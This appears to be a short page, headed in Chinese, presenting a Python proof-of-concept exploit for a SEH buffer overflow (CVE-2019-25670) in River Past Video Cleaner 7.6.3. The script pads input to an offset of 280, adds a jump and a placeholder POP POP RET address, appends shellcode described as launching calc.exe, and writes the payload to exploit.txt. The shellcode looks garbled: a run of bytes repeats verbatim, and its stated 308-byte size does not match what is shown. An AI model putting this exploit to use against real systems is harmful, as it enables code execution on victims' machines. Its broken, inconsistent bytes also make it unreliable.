CVE-2019-25670 River Past Video Cleaner SEH缓冲区溢出漏洞

#!/usr/bin/python # -*- coding: utf-8 -*- import sys # Vulnerable Software: River Past Video Cleaner 7.6.3 # Vulnerability: SEH Buffer Overflow in Lame_enc.dll field # Offset to overwrite SEH handler offset = 280 # This sequence (\xeb\x06\x90\x90) jumps 6 bytes forward past the SEH handler # to land in the shellcode next_seh = "\xeb\x06\x90\x90" # POP POP RET instruction address (Universal or specific to DLL) # Note: Actual address needs to be retrieved from the vulnerable application's DLLs # This is a placeholder for the logic seh_handler = "\xAA\xBB\xCC\xDD" # Simple calc.exe shellcode (generated by msfvenom) # Payload size: 308 bytes shellcode = ("\xda\xc0\xd9\x74\x24\xf4\xbb\xca\x25\x1b\x4a\x5e\x2b\xc9\xb1" "\x33\x31\x56\x18\x03\x56\x18\x83\xee\xfb\xe5\x4f\x88\x56\x51" "\x4e\x1d\x07\x1a\x6b\x94\x2e\x6b\x58\x6e\x9b\x3e\x5b\x39\x6d\x57" "\x75\x05\x6a\x90\x7a\x9c\x31\x09\xf7\x9c\x4e\x9c\x0e\x7e\x76\x46" "\x94\x59\x37\x45\x2f\x8e\x29\x98\x2a\x10\xf9\x0c\x0d\x3d\x1c\x55" "\x70\x69\x8c\x63\x11\x5b\x8b\xf6\x3e\x5b\x1d\x07\x6a\x90\x7a\x9c" "\x31\x09\xf7\x9c\x4e\x9c\x0e\x7e\x76\x46\x94\x59\x37\x45\x2f\x8e\x29" "\x98\x2a\x10\xf9\x0c\x0d\x3d\x1c\x55\x70\x69\x8c\x63\x11\x5b\x8b\xf6") # Padding to reach the offset padding = "A" * offset # Construct the payload payload = padding + next_seh + seh_handler + shellcode try: with open("exploit.txt", "w") as f: f.write(payload) print("[+] Exploit file 'exploit.txt' created successfully.") print("[+] Payload length: %d" % len(payload)) except: print("[-] Error creating file.")